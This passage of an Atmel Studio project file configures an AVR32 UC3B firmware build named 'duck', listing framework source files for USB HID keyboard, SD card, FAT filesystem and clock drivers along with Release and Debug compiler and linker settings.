<file path="src/asf/avr32/drivers/pm/pm.h" framework="com.atmel.avr32.sf.uc3b" version="2.3.0-15278.151" source="avr32/drivers/pm/pm.h" changed="False" content-id="Atmel.ASF" />
|
||||
<file path="src/asf/common/services/storage/ctrl_access/ctrl_access.h" framework="com.atmel.avr32.sf.uc3b" version="2.3.0-15278.151" source="common/services/storage/ctrl_access/ctrl_access.h" changed="False" content-id="Atmel.ASF" />
|
||||
<file path="src/asf/avr32/utils/preprocessor/mrepeat.h" framework="com.atmel.avr32.sf.uc3b" version="2.3.0-15278.151" source="avr32/utils/preprocessor/mrepeat.h" changed="False" content-id="Atmel.ASF" />
|
||||
<file path="src/asf/avr32/drivers/pm/pm.c" framework="com.atmel.avr32.sf.uc3b" version="2.3.0-15278.151" source="avr32/drivers/pm/pm.c" changed="False" content-id="Atmel.ASF" />
|
||||
<file path="src/asf/avr32/utils/preprocessor/preprocessor.h" framework="com.atmel.avr32.sf.uc3b" version="2.3.0-15278.151" source="avr32/utils/preprocessor/preprocessor.h" changed="False" content-id="Atmel.ASF" />
|
||||
<file path="src/asf/avr32/utils/linker_scripts/at32uc3b/0256/gcc/link_uc3b0256.lds" framework="com.atmel.avr32.sf.uc3b" version="2.3.0-15278.151" source="avr32/utils/linker_scripts/at32uc3b/0256/gcc/link_uc3b0256.lds" changed="False" content-id="Atmel.ASF" />
|
||||
<file path="src/asf/avr32/drivers/gpio/gpio.h" framework="com.atmel.avr32.sf.uc3b" version="2.3.0-15278.151" source="avr32/drivers/gpio/gpio.h" changed="False" content-id="Atmel.ASF" />
|
||||
<file path="src/asf/avr32/utils/startup/startup_uc3.S" framework="com.atmel.avr32.sf.uc3b" version="2.3.0-15278.151" source="avr32/utils/startup/startup_uc3.S" changed="False" content-id="Atmel.ASF" />
|
||||
<file path="src/asf/avr32/utils/startup/trampoline_uc3.S" framework="com.atmel.avr32.sf.uc3b" version="2.3.0-15278.151" source="avr32/utils/startup/trampoline_uc3.S" changed="False" content-id="Atmel.ASF" />
|
||||
<file path="src/asf/avr32/drivers/gpio/gpio.c" framework="com.atmel.avr32.sf.uc3b" version="2.3.0-15278.151" source="avr32/drivers/gpio/gpio.c" changed="False" content-id="Atmel.ASF" />
|
||||
<file path="src/asf/avr32/drivers/spi/spi.h" framework="com.atmel.avr32.sf.uc3b" version="2.3.0-15278.151" source="avr32/drivers/spi/spi.h" changed="False" content-id="Atmel.ASF" />
|
||||
<file path="src/config/conf_access.h" framework="com.atmel.avr32.sf.uc3b" version="2.3.0-15278.151" source="avr32/services/fs/fat/fat_example/conf_access.h" changed="False" content-id="Atmel.ASF" />
|
||||
<file path="src/asf/avr32/utils/startup/trampoline_uc3.h" framework="com.atmel.avr32.sf.uc3b" version="2.3.0-15278.151" source="avr32/utils/startup/trampoline_uc3.h" changed="False" content-id="Atmel.ASF" />
|
||||
<file path="src/asf.h" framework="com.atmel.avr32.sf.uc3b" version="2.3.0-15278.151" source="./avr32/services/fs/fat/fat_example/at32uc3b0256_evk1101/as5_32/asf.h" changed="False" content-id="Atmel.ASF" />
|
||||
<file path="src/asf/common/utils/interrupt/interrupt_avr32.h" framework="com.atmel.avr32.sf.uc3b" version="2.3.0-15278.151" source="common/utils/interrupt/interrupt_avr32.h" changed="False" content-id="Atmel.ASF" />
|
||||
<file path="src/asf/avr32/utils/parts.h" framework="com.atmel.avr32.sf.uc3b" version="2.3.0-15278.151" source="avr32/utils/parts.h" changed="False" content-id="Atmel.ASF" />
|
||||
<file path="src/fat_example.c" framework="com.atmel.avr32.sf.uc3b" version="2.3.0-15278.151" source="avr32/services/fs/fat/fat_example/fat_example.c" changed="False" content-id="Atmel.ASF" />
|
||||
<file path="src/asf/avr32/utils/preprocessor/tpaste.h" framework="com.atmel.avr32.sf.uc3b" version="2.3.0-15278.151" source="avr32/utils/preprocessor/tpaste.h" changed="False" content-id="Atmel.ASF" />
|
||||
<file path="src/asf/avr32/drivers/pm/sleep.h" framework="com.atmel.avr32.sf.uc3b" version="2.3.0-15278.151" source="avr32/drivers/pm/sleep.h" changed="False" content-id="Atmel.ASF" />
|
||||
<file path="src/asf/avr32/utils/compiler.h" framework="com.atmel.avr32.sf.uc3b" version="2.3.0-15278.151" source="avr32/utils/compiler.h" changed="False" content-id="Atmel.ASF" />
|
||||
<file path="src/asf/avr32/drivers/flashc/flashc.h" framework="com.atmel.avr32.sf.uc3b" version="2.3.0-15278.151" source="avr32/drivers/flashc/flashc.h" changed="False" content-id="Atmel.ASF" />
|
||||
<file path="src/asf/avr32/drivers/usbb/usbb_device.c" framework="com.atmel.avr32.sf.uc3b" version="2.2.2" source="avr32/drivers/usbb/usbb_device.c" changed="False" content-id="Atmel.ASF" />
|
||||
<file path="src/asf/avr32/drivers/usbb/usbb_otg.h" framework="com.atmel.avr32.sf.uc3b" version="2.2.2" source="avr32/drivers/usbb/usbb_otg.h" changed="False" content-id="Atmel.ASF" />
|
||||
<file path="src/asf/avr32/drivers/usbb/usbb_device.h" framework="com.atmel.avr32.sf.uc3b" version="2.2.2" source="avr32/drivers/usbb/usbb_device.h" changed="False" content-id="Atmel.ASF" />
|
||||
<file path="src/asf/common/services/sleepmgr/uc3/sleepmgr.c" framework="com.atmel.avr32.sf.uc3b" version="2.2.2" source="common/services/sleepmgr/uc3/sleepmgr.c" changed="False" content-id="Atmel.ASF" />
|
||||
<file path="src/asf/common/services/sleepmgr/uc3/sleepmgr.h" framework="com.atmel.avr32.sf.uc3b" version="2.2.2" source="common/services/sleepmgr/uc3/sleepmgr.h" changed="False" content-id="Atmel.ASF" />
|
||||
<file path="src/asf/common/services/sleepmgr/sleepmgr.h" framework="com.atmel.avr32.sf.uc3b" version="2.2.2" source="common/services/sleepmgr/sleepmgr.h" changed="False" content-id="Atmel.ASF" />
|
||||
<file path="src/config/conf_sleepmgr.h" framework="com.atmel.avr32.sf.uc3b" version="2.2.2" source="common/services/sleepmgr/uc3/module_config/conf_sleepmgr.h" changed="False" content-id="Atmel.ASF" />
|
||||
<file path="src/asf/common/services/clock/uc3b0_b1/sysclk.c" framework="com.atmel.avr32.sf.uc3b" version="2.2.2" source="common/services/clock/uc3b0_b1/sysclk.c" changed="False" content-id="Atmel.ASF" />
|
||||
<file path="src/asf/common/services/clock/sysclk.h" framework="com.atmel.avr32.sf.uc3b" version="2.2.2" source="common/services/clock/sysclk.h" changed="False" content-id="Atmel.ASF" />
|
||||
<file path="src/asf/common/services/clock/genclk.h" framework="com.atmel.avr32.sf.uc3b" version="2.2.2" source="common/services/clock/genclk.h" changed="False" content-id="Atmel.ASF" />
|
||||
<file path="src/asf/common/services/clock/uc3b0_b1/pll.h" framework="com.atmel.avr32.sf.uc3b" version="2.2.2" source="common/services/clock/uc3b0_b1/pll.h" changed="False" content-id="Atmel.ASF" />
|
||||
<file path="src/asf/common/services/clock/uc3b0_b1/genclk.h" framework="com.atmel.avr32.sf.uc3b" version="2.2.2" source="common/services/clock/uc3b0_b1/genclk.h" changed="False" content-id="Atmel.ASF" />
|
||||
<file path="src/asf/common/services/clock/uc3b0_b1/sysclk.h" framework="com.atmel.avr32.sf.uc3b" version="2.2.2" source="common/services/clock/uc3b0_b1/sysclk.h" changed="False" content-id="Atmel.ASF" />
|
||||
<file path="src/asf/common/services/clock/uc3b0_b1/osc.h" framework="com.atmel.avr32.sf.uc3b" version="2.2.2" source="common/services/clock/uc3b0_b1/osc.h" changed="False" content-id="Atmel.ASF" />
|
||||
<file path="src/asf/common/services/clock/pll.h" framework="com.atmel.avr32.sf.uc3b" version="2.2.2" source="common/services/clock/pll.h" changed="False" content-id="Atmel.ASF" />
|
||||
<file path="src/asf/common/services/clock/osc.h" framework="com.atmel.avr32.sf.uc3b" version="2.2.2" source="common/services/clock/osc.h" changed="False" content-id="Atmel.ASF" />
|
||||
<file path="src/config/conf_clock.h" framework="com.atmel.avr32.sf.uc3b" version="2.2.2" source="common/services/clock/uc3b0_b1/module_config/conf_clock.h" changed="False" content-id="Atmel.ASF" />
|
||||
<file path="src/asf/common/services/usb/udc/udc.c" framework="com.atmel.avr32.sf.uc3b" version="2.2.2" source="common/services/usb/udc/udc.c" changed="False" content-id="Atmel.ASF" />
|
||||
<file path="src/asf/common/services/usb/udc/udi.h" framework="com.atmel.avr32.sf.uc3b" version="2.2.2" source="common/services/usb/udc/udi.h" changed="False" content-id="Atmel.ASF" />
|
||||
<file path="src/asf/common/services/usb/usb_protocol.h" framework="com.atmel.avr32.sf.uc3b" version="2.2.2" source="common/services/usb/usb_protocol.h" changed="False" content-id="Atmel.ASF" />
|
||||
<file path="src/asf/common/services/usb/udc/udc_desc.h" framework="com.atmel.avr32.sf.uc3b" version="2.2.2" source="common/services/usb/udc/udc_desc.h" changed="False" content-id="Atmel.ASF" />
|
||||
<file path="src/asf/common/services/usb/udc/udc.h" framework="com.atmel.avr32.sf.uc3b" version="2.2.2" source="common/services/usb/udc/udc.h" changed="False" content-id="Atmel.ASF" />
|
||||
<file path="src/asf/common/services/usb/usb_atmel.h" framework="com.atmel.avr32.sf.uc3b" version="2.2.2" source="common/services/usb/usb_atmel.h" changed="False" content-id="Atmel.ASF" />
|
||||
<file path="src/asf/common/services/usb/udc/udd.h" framework="com.atmel.avr32.sf.uc3b" version="2.2.2" source="common/services/usb/udc/udd.h" changed="False" content-id="Atmel.ASF" />
|
||||
<file path="src/asf/common/services/usb/class/hid/usb_protocol_hid.h" framework="com.atmel.avr32.sf.uc3b" version="2.2.2" source="common/services/usb/class/hid/usb_protocol_hid.h" changed="False" content-id="Atmel.ASF" />
|
||||
<file path="src/asf/common/services/usb/class/hid/device/kbd/udi_hid_kbd_desc.c" framework="com.atmel.avr32.sf.uc3b" version="2.2.2" source="common/services/usb/class/hid/device/kbd/udi_hid_kbd_desc.c" changed="False" content-id="Atmel.ASF" />
|
||||
<file path="src/asf/common/services/usb/class/hid/device/kbd/udi_hid_kbd.c" framework="com.atmel.avr32.sf.uc3b" version="2.2.2" source="common/services/usb/class/hid/device/kbd/udi_hid_kbd.c" changed="False" content-id="Atmel.ASF" />
|
||||
<file path="src/asf/common/services/usb/class/hid/device/kbd/udi_hid_kbd_conf.h" framework="com.atmel.avr32.sf.uc3b" version="2.2.2" source="common/services/usb/class/hid/device/kbd/udi_hid_kbd_conf.h" changed="False" content-id="Atmel.ASF" />
|
||||
<file path="src/asf/common/services/usb/class/hid/device/kbd/udi_hid_kbd.h" framework="com.atmel.avr32.sf.uc3b" version="2.2.2" source="common/services/usb/class/hid/device/kbd/udi_hid_kbd.h" changed="False" content-id="Atmel.ASF" />
|
||||
<file path="src/config/conf_usb.h" framework="com.atmel.avr32.sf.uc3b" version="2.2.2" source="common/services/usb/class/hid/device/kbd/module_config/conf_usb.h" changed="False" content-id="Atmel.ASF" />
|
||||
<file path="src/asf/common/services/usb/class/hid/device/udi_hid.c" framework="com.atmel.avr32.sf.uc3b" version="2.2.2" source="common/services/usb/class/hid/device/udi_hid.c" changed="False" content-id="Atmel.ASF" />
|
||||
<file path="src/asf/common/services/usb/class/hid/device/udi_hid.h" framework="com.atmel.avr32.sf.uc3b" version="2.2.2" source="common/services/usb/class/hid/device/udi_hid.h" changed="False" content-id="Atmel.ASF" />
|
||||
</files>
|
||||
<documentation help="http://asf.atmel.com/docs/latest/avr32/services/fs/fat/fat_example/at32uc3b0256_evk1101/doxygen/html/" />
|
||||
</framework-data>
|
||||
</AsfFrameworkConfig>
|
||||
<AsfVersion>2.5.1</AsfVersion>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition=" '$(Configuration)' == 'Release' ">
|
||||
<OutputFileName>duck</OutputFileName>
|
||||
<OutputFileExtension>.elf</OutputFileExtension>
|
||||
<ToolchainSettings>
|
||||
<Avr32Gcc>
|
||||
<avr32gcc.compiler.symbols.DefSymbols>
|
||||
<ListValues>
|
||||
<Value>BOARD=EVK1101</Value>
|
||||
</ListValues>
|
||||
</avr32gcc.compiler.symbols.DefSymbols>
|
||||
<avr32gcc.compiler.directories.IncludePaths>
|
||||
<ListValues>
|
||||
<Value>../src</Value>
|
||||
<Value>../src/asf/avr32/boards</Value>
|
||||
<Value>../src/asf/avr32/boards/evk1101</Value>
|
||||
<Value>../src/asf/avr32/drivers/flashc</Value>
|
||||
<Value>../src/asf/avr32/drivers/gpio</Value>
|
||||
<Value>../src/asf/avr32/drivers/intc</Value>
|
||||
<Value>../src/asf/avr32/drivers/pm</Value>
|
||||
<Value>../src/asf/avr32/drivers/spi</Value>
|
||||
<Value>../src/asf/avr32/services/fs/fat</Value>
|
||||
<Value>../src/asf/avr32/services/fs/fat/fat_example</Value>
|
||||
<Value>../src/asf/avr32/utils</Value>
|
||||
<Value>../src/asf/avr32/utils/preprocessor</Value>
|
||||
<Value>../src/asf/common/boards</Value>
|
||||
<Value>../src/asf/common/services/storage/ctrl_access</Value>
|
||||
<Value>../src/asf/common/utils</Value>
|
||||
<Value>../src/config</Value>
|
||||
<Value>../src/asf/avr32/drivers/usbb</Value>
|
||||
<Value>../src/asf/common/services/sleepmgr</Value>
|
||||
<Value>../src/asf/common/services/clock</Value>
|
||||
<Value>../src/asf/common/services/usb</Value>
|
||||
<Value>../src/asf/common/services/usb/udc</Value>
|
||||
<Value>../src/asf/common/services/usb/class/hid</Value>
|
||||
<Value>../src/asf/common/services/usb/class/hid/device/kbd</Value>
|
||||
<Value>../src/asf/common/services/usb/class/hid/device</Value>
|
||||
<Value>../src/asf/avr32/components/memory/sd_mmc/sd_mmc_spi</Value>
|
||||
</ListValues>
|
||||
</avr32gcc.compiler.directories.IncludePaths>
|
||||
<avr32gcc.compiler.optimization.level>Optimize for size (-Os)</avr32gcc.compiler.optimization.level>
|
||||
<avr32gcc.compiler.optimization.OtherFlags>-fdata-sections</avr32gcc.compiler.optimization.OtherFlags>
|
||||
<avr32gcc.compiler.optimization.PrepareFunctionsForGarbageCollection>True</avr32gcc.compiler.optimization.PrepareFunctionsForGarbageCollection>
|
||||
<avr32gcc.compiler.warnings.AllWarnings>True</avr32gcc.compiler.warnings.AllWarnings>
|
||||
<avr32gcc.compiler.miscellaneous.OtherFlags>-std=gnu99 -Wstrict-prototypes -Wmissing-prototypes -Werror-implicit-function-declaration -Wpointer-arith -mrelax</avr32gcc.compiler.miscellaneous.OtherFlags>
|
||||
<avr32gcc.linker.general.DoNotUseStandardStartFiles>True</avr32gcc.linker.general.DoNotUseStandardStartFiles>
|
||||
<avr32gcc.linker.libraries.Libraries>
|
||||
<ListValues>
|
||||
<Value>m</Value>
|
||||
</ListValues>
|
||||
</avr32gcc.linker.libraries.Libraries>
|
||||
<avr32gcc.linker.optimization.GarbageCollectUnusedSections>True</avr32gcc.linker.optimization.GarbageCollectUnusedSections>
|
||||
<avr32gcc.linker.miscellaneous.LinkerFlags>-T../src/asf/avr32/utils/linker_scripts/at32uc3b/0256/gcc/link_uc3b0256.lds -Wl,--relax</avr32gcc.linker.miscellaneous.LinkerFlags>
|
||||
<avr32gcc.assembler.general.AssemblerFlags>-mrelax</avr32gcc.assembler.general.AssemblerFlags>
|
||||
<avr32gcc.assembler.general.IncludePaths>
|
||||
<ListValues>
|
||||
<Value>../src</Value>
|
||||
<Value>../src/asf/avr32/boards</Value>
|
||||
<Value>../src/asf/avr32/boards/evk1101</Value>
|
||||
<Value>../src/asf/avr32/drivers/flashc</Value>
|
||||
<Value>../src/asf/avr32/drivers/gpio</Value>
|
||||
<Value>../src/asf/avr32/drivers/intc</Value>
|
||||
<Value>../src/asf/avr32/drivers/pm</Value>
|
||||
<Value>../src/asf/avr32/drivers/spi</Value>
|
||||
<Value>../src/asf/avr32/services/fs/fat</Value>
|
||||
<Value>../src/asf/avr32/services/fs/fat/fat_example</Value>
|
||||
<Value>../src/asf/avr32/utils</Value>
|
||||
<Value>../src/asf/avr32/utils/preprocessor</Value>
|
||||
<Value>../src/asf/common/boards</Value>
|
||||
<Value>../src/asf/common/services/storage/ctrl_access</Value>
|
||||
<Value>../src/asf/common/utils</Value>
|
||||
<Value>../src/config</Value>
|
||||
<Value>../src/asf/avr32/drivers/usbb</Value>
|
||||
<Value>../src/asf/common/services/sleepmgr</Value>
|
||||
<Value>../src/asf/common/services/clock</Value>
|
||||
<Value>../src/asf/common/services/usb</Value>
|
||||
<Value>../src/asf/common/services/usb/udc</Value>
|
||||
<Value>../src/asf/common/services/usb/class/hid</Value>
|
||||
<Value>../src/asf/common/services/usb/class/hid/device/kbd</Value>
|
||||
<Value>../src/asf/common/services/usb/class/hid/device</Value>
|
||||
</ListValues>
|
||||
</avr32gcc.assembler.general.IncludePaths>
|
||||
<avr32gcc.preprocessingassembler.general.AssemblerFlags>-mrelax</avr32gcc.preprocessingassembler.general.AssemblerFlags>
|
||||
<avr32gcc.preprocessingassembler.general.IncludePaths>
|
||||
<ListValues>
|
||||
<Value>../src</Value>
|
||||
<Value>../src/asf/avr32/boards</Value>
|
||||
<Value>../src/asf/avr32/boards/evk1101</Value>
|
||||
<Value>../src/asf/avr32/drivers/flashc</Value>
|
||||
<Value>../src/asf/avr32/drivers/gpio</Value>
|
||||
<Value>../src/asf/avr32/drivers/intc</Value>
|
||||
<Value>../src/asf/avr32/drivers/pm</Value>
|
||||
<Value>../src/asf/avr32/drivers/spi</Value>
|
||||
<Value>../src/asf/avr32/services/fs/fat</Value>
|
||||
<Value>../src/asf/avr32/services/fs/fat/fat_example</Value>
|
||||
<Value>../src/asf/avr32/utils</Value>
|
||||
<Value>../src/asf/avr32/utils/preprocessor</Value>
|
||||
<Value>../src/asf/common/boards</Value>
|
||||
<Value>../src/asf/common/services/storage/ctrl_access</Value>
|
||||
<Value>../src/asf/common/utils</Value>
|
||||
<Value>../src/config</Value>
|
||||
<Value>../src/asf/avr32/drivers/usbb</Value>
|
||||
<Value>../src/asf/common/services/sleepmgr</Value>
|
||||
<Value>../src/asf/common/services/clock</Value>
|
||||
<Value>../src/asf/common/services/usb</Value>
|
||||
<Value>../src/asf/common/services/usb/udc</Value>
|
||||
<Value>../src/asf/common/services/usb/class/hid</Value>
|
||||
<Value>../src/asf/common/services/usb/class/hid/device/kbd</Value>
|
||||
<Value>../src/asf/common/services/usb/class/hid/device</Value>
|
||||
</ListValues>
|
||||
</avr32gcc.preprocessingassembler.general.IncludePaths>
|
||||
</Avr32Gcc>
|
||||
</ToolchainSettings>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition=" '$(Configuration)' == 'Debug' ">
|
||||
<OutputFileName>duck</OutputFileName>
|
||||
<OutputFileExtension>.elf</OutputFileExtension>
|
||||
<ToolchainSettings>
|
||||
<Avr32Gcc>
|
||||
<avr32gcc.compiler.symbols.DefSymbols>
|
||||
<ListValues>
|
||||
<Value>BOARD=EVK1101</Value>
|
||||
</ListValues>
|
||||
</avr32gcc.compiler.symbols.DefSymbols>
|
||||
<avr32gcc.compiler.directories.IncludePaths>
|
||||
<ListValues>
|
||||
<Value>../src</Value>
|
||||
<Value>../src/asf/avr32/boards</Value>
|
||||
<Value>../src/asf/avr32/boards/evk1101</Value>
|
||||
<Value>../src/asf/avr32/drivers/flashc</Value>
|
||||
<Value>../src/asf/avr32/drivers/gpio</Value>
|
||||
<Value>../src/asf/avr32/drivers/intc</Value>
|
||||
<Value>../src/asf/avr32/drivers/pm</Value>
|
||||
<Value>../src/asf/avr32/drivers/spi</Value>
|
||||
<Value>../src/asf/avr32/services/fs/fat</Value>
|
||||
<Value>../src/asf/avr32/services/fs/fat/fat_example</Value>
|
||||
<Value>../src/asf/avr32/utils</Value>
|
||||
<Value>../src/asf/avr32/utils/preprocessor</Value>
|
||||
<Value>../src/asf/common/boards</Value>
|
||||
<Value>../src/asf/common/services/storage/ctrl_access</Value>
|
||||
<Value>../src/asf/common/utils</Value>
|
||||
<Value>../src/config</Value>
|
||||
<Value>../src/asf/avr32/drivers/usbb</Value>
|
||||
<Value>../src/asf/common/services/sleepmgr</Value>
|
||||
<Value>../src/asf/common/services/clock</Value>
|
||||
<Value>../src/asf/common/services/usb</Value>
|
||||
<Value>../src/asf/common/services/usb/udc</Value>
|
||||
<Value>../src/asf/common/services/usb/class/hid</Value>
|
||||
<Value>../src/asf/common/services/usb/class/hid/device/kbd</Value>
|
||||
<Value>../src/asf/common/services/usb/class/hid/device</Value>
|
||||
<Value>../src/asf/avr32/components/memory/sd_mmc/sd_mmc_spi</Value>
|
||||
</ListValues>
|
||||
</avr32gcc.compiler.directories.IncludePaths>
|
||||
<avr32gcc.compiler.optimization.level>Optimize (-O1)</avr32gcc.compiler.optimization.level>
|
||||
<avr32gcc.compiler.optimization.OtherFlags>-fdata-sections</avr32gcc.compiler.optimization.OtherFlags>
|
||||
<avr32gcc.compiler.optimization.PrepareFunctionsForGarbageCollection>True</avr32gcc.compiler.optimization.PrepareFunctionsForGarbageCollection>
|
||||
<avr32gcc.compiler.optimization.DebugLevel>Maximum (-g3)</avr32gcc.compiler.optimization.DebugLevel>
|
||||
<avr32gcc.compiler.warnings.AllWarnings>True</avr32gcc.compiler.warnings.AllWarnings>
|
||||
<avr32gcc.compiler.miscellaneous.OtherFlags>-std=gnu99 -Wstrict-prototypes -Wmissing-prototypes -Werror-implicit-function-declaration -Wpointer-arith -mrelax</avr32gcc.compiler.miscellaneous.OtherFlags>
|
||||
<avr32gcc.linker.general.DoNotUseStandardStartFiles>True</avr32gcc.linker.general.DoNotUseStandardStartFiles>
|
||||
<avr32gcc.linker.libraries.Libraries>
|
||||
<ListValues>
|
||||
<Value>m</Value>
|
||||
</ListValues>
|
||||
</avr32gcc.linker.libraries.Libraries>
|
||||
<avr32gcc.linker.optimization.GarbageCollectUnusedSections>True</avr32gcc.linker.optimization.GarbageCollectUnusedSections>
|
||||
<avr32gcc.linker.miscellaneous.LinkerFlags>-T../src/asf/avr32/utils/linker_scripts/at32uc3b/0256/gcc/link_uc3b0256.lds -Wl,--relax</avr32gcc.linker.miscellaneous.LinkerFlags>
|
||||
<avr32gcc.assembler.general.AssemblerFlags>-mrelax</avr32gcc.assembler.general.AssemblerFlags>
|
||||
<avr32gcc.assembler.general.IncludePaths>
|
||||
<ListValues>
|
||||
<Value>../src</Value>
|
||||
<Value>../src/asf/avr32/boards</Value>
|
||||
<Value>../src/asf/avr32/boards/evk1101</Value>
|
||||
<Value>../src/asf/avr32/drivers/flashc</Value>
|
||||
<Value>../src/asf/avr32/drivers/gpio</Value>
|
||||
<Value>../src/asf/avr32/drivers/intc</Value>
|
||||
<Value>../src/asf/avr32/drivers/pm</Value>
|
||||
<Value>../src/asf/avr32/drivers/spi</Value>
|
||||
<Value>../src/asf/avr32/services/fs/fat</Value>
|
||||
<Value>../src/asf/avr32/services/fs/fat/fat_example</Value>
|
||||
<Value>../src/asf/avr32/utils</Value>
|
||||
<Value>../src/asf/avr32/utils/preprocessor</Value>
|
||||
<Value>../src/asf/common/boards</Value>
|
||||
<Value>../src/asf/common/services/storage/ctrl_access</Value>
|
||||
<Value>../src/asf/common/utils</Value>
|
||||
<Value>../src/config</Value>
|
||||
<Value>../src/asf/avr32/drivers/usbb</Value>
|
||||
<Value>../src/asf/common/services/sleepmgr</Value>
|
||||
<Value>../src/asf/common/services/clock</Value>
|
||||
<Value>../src/asf/common/services/usb</Value>
|
||||
<Value>../src/asf/common/services/usb/udc</Value>
|
||||
<Value>../src/asf/common/services/usb/class/hid</Value>
|
||||
<Value>../src/asf/common/services/usb/class/hid/device/kbd</Value>
|
||||
<Value>../src/asf/common/services/usb/class/hid/device</Value>
|
||||
</ListValues>
|
||||
</avr32gcc.assembler.general.IncludePaths>
|
||||
<avr32gcc.preprocessingassembler.general.AssemblerFlags>-mrelax</avr32gcc.preprocessingassembler.general.AssemblerFlags>
|
||||
<avr32gcc.preprocessingassembler.general.IncludePaths>
|
||||
<ListValues>
|
||||
<Value>../src</Value>
|
||||
<Value>../src/asf/avr32/boards</Value>
|
||||
<Value>../src/asf/avr32/boards/evk1101</Value>
|
||||
<Value>../src/asf/avr32/drivers/flashc</Value>
|
||||
<Value>../src/asf/avr32/drivers/gpio</Value>
|
||||
<Value>../src/asf/avr32/drivers/intc</Value>
|
||||
<Value>../src/asf/avr32/drivers/pm</Value>
|
||||
<Value>../src/asf/avr32/drivers/spi</Value>
|
||||
<Value>../src/asf/avr32/services/fs/fat</Value>
|
||||
<Value>../src/asf/avr32/services/fs/fat/fat_example</Value>
|
||||
<Value>../src/asf/avr32/utils</Value>
|
||||
<Value>../src/asf/avr32/utils/preprocessor</Value>
|
||||
<Value>../src/asf/common/boards</Value>
|
||||
<Value>../src/asf/common/services/storage/ctrl_access</Value>
|
||||
<Value>../src/asf/common/utils</Value>
|
||||
<Value>../src/config</Value>
|
||||
<Value>../src/asf/avr32/drivers/usbb</Value>
|
||||
<Value>../src/asf/common/services/sleepmgr</Value>
|
||||
<Value>../src/asf/common/services/clock</Value>
|
||||
<Value>../src/asf/common/services/usb</Value>
|
||||
<Value>../src/asf/common/services/usb/udc</Value>
|
||||
<Value>../src/asf/common/services/usb/class/hid</Value>
|
||||
<Value>../src/asf/common/services/usb/class/hid/device/kbd</Value>
|
||||
<Value>../src/asf/common/services/usb/class/hid/device</Value>
|
||||
</ListValues>
|
||||
</avr32gcc.preprocessingassembler.general.IncludePaths>
|
||||
</Avr32Gcc>
|
||||
</ToolchainSettings>
|
||||
</PropertyGroup>
|
||||
<ItemGroup>
|
||||
<Compile Include="src\asf.h">
|
||||
<SubType>compile</SubType>
|
||||
</Compile>
|
||||
<Compile Include="src\asf\avr32\boards\evk1101\evk1101.h">
|
||||
<SubType>compile</SubType>
|
||||
</Compile>
|
||||
<Compile Include="src\asf\avr32\boards\evk1101\init.c">
|
||||
<SubType>compile</SubType>
|
||||
</Compile>
|
||||
<Compile Include="src\asf\avr32\boards\evk1101\led.c">
|
||||
<SubType>compile</SubType>
|
||||
</Compile>
|
||||
<Compile Include="src\asf\avr32\boards\evk1101\led.h">
|
||||
<SubType>compile</SubType>
|
||||
</Compile>
|
||||
<Compile Include="src\asf\avr32\components\memory\sd_mmc\sd_mmc_spi\sd_mmc_spi.c">
|
||||
<SubType>compile</SubType>
|
||||
</Compile>
|
||||
<Compile Include="src\asf\avr32\components\memory\sd_mmc\sd_mmc_spi\sd_mmc_spi.h">
|
||||
<SubType>compile</SubType>
|
||||
</Compile>
|
||||
<Compile Include="src\asf\avr32\components\memory\sd_mmc\sd_mmc_spi\sd_mmc_spi_mem.c">
|
||||
<SubType>compile</SubType>
|
||||
</Compile>
|
||||
<Compile Include="src\asf\avr32\components\memory\sd_mmc\sd_mmc_spi\sd_mmc_spi_mem.h">
|
||||
<SubType>compile</SubType>
|
||||
</Compile>
|
||||
<Compile Include="src\asf\avr32\drivers\flashc\flashc.c">
|
||||
<SubType>compile</SubType>
|
||||
</Compile>
|
||||
<Compile Include="src\asf\avr32\drivers\flashc\flashc.h">
|
||||
<SubType>compile</SubType>
|
||||
</Compile>
|
||||
<Compile Include="src\asf\avr32\drivers\gpio\gpio.c">
|
||||
<SubType>compile</SubType>
|
||||
</Compile>
|
||||
<Compile Include="src\asf\avr32\drivers\gpio\gpio.h">
|
||||
<SubType>compile</SubType>
|
||||
</Compile>
|
||||
<Compile Include="src\asf\avr32\drivers\intc\exception.S">
|
||||
<SubType>compile</SubType>
|
||||
</Compile>
|
||||
<Compile Include="src\asf\avr32\drivers\intc\intc.c">
|
||||
<SubType>compile</SubType>
|
||||
</Compile>
|
||||
<Compile Include="src\asf\avr32\drivers\intc\intc.h">
|
||||
<SubType>compile</SubType>
|
||||
</Compile>
|
||||
<Compile Include="src\asf\avr32\drivers\pm\pm.c">
|
||||
<SubType>compile</SubType>
|
||||
</Compile>
|
||||
<Compile Include="src\asf\avr32\drivers\pm\pm.h">
|
||||
<SubType>compile</SubType>
|
||||
</Compile>
|
||||
<Compile Include="src\asf\avr32\drivers\pm\pm_conf_clocks.c">
|
||||
<SubType>compile</SubType>
|
||||
</Compile>
|
||||
<Compile Include="src\asf\avr32\drivers\pm\power_clocks_lib.c">
|
||||
<SubType>compile</SubType>
|
||||
</Compile>
|
||||
<Compile Include="src\asf\avr32\drivers\pm\power_clocks_lib.h">
|
||||
<SubType>compile</SubType>
|
||||
</Compile>
|
||||
<Compile Include="src\asf\avr32\drivers\pm\sleep.h">
|
||||
<SubType>compile</SubType>
|
||||
</Compile>
|
||||
<Compile Include="src\asf\avr32\drivers\spi\spi.c">
|
||||
<SubType>compile</SubType>
|
||||
</Compile>
|
||||
<Compile Include="src\asf\avr32\drivers\spi\spi.h">
|
||||
<SubType>compile</SubType>
|
||||
</Compile>
|
||||
<Compile Include="src\asf\avr32\drivers\usbb\usbb_device.c">
|
||||
<SubType>compile</SubType>
|
||||
</Compile>
|
||||
<Compile Include="src\asf\avr32\drivers\usbb\usbb_device.h">
|
||||
<SubType>compile</SubType>
|
||||
</Compile>
|
||||
<Compile Include="src\asf\avr32\drivers\usbb\usbb_otg.h">
|
||||
<SubType>compile</SubType>
|
||||
</Compile>
|
||||
<Compile Include="src\asf\avr32\services\fs\fat\fat.c">
|
||||
<SubType>compile</SubType>
|
||||
</Compile>
|
||||
<Compile Include="src\asf\avr32\services\fs\fat\fat.h">
|
||||
<SubType>compile</SubType>
|
||||
</Compile>
|
||||
<Compile Include="src\asf\avr32\services\fs\fat\fat_unusual.c">
|
||||
<SubType>compile</SubType>
|
||||
</Compile>
|
||||
<Compile Include="src\asf\avr32\services\fs\fat\file.c">
|
||||
<SubType>compile</SubType>
|
||||
</Compile>
|
||||
<Compile Include="src\asf\avr32\services\fs\fat\file.h">
|
||||
<SubType>compile</SubType>
|
||||
</Compile>
|
||||
<Compile Include="src\asf\avr32\services\fs\fat\fs_com.h">
|
||||
<SubType>compile</SubType>
|
||||
</Compile>
|
||||
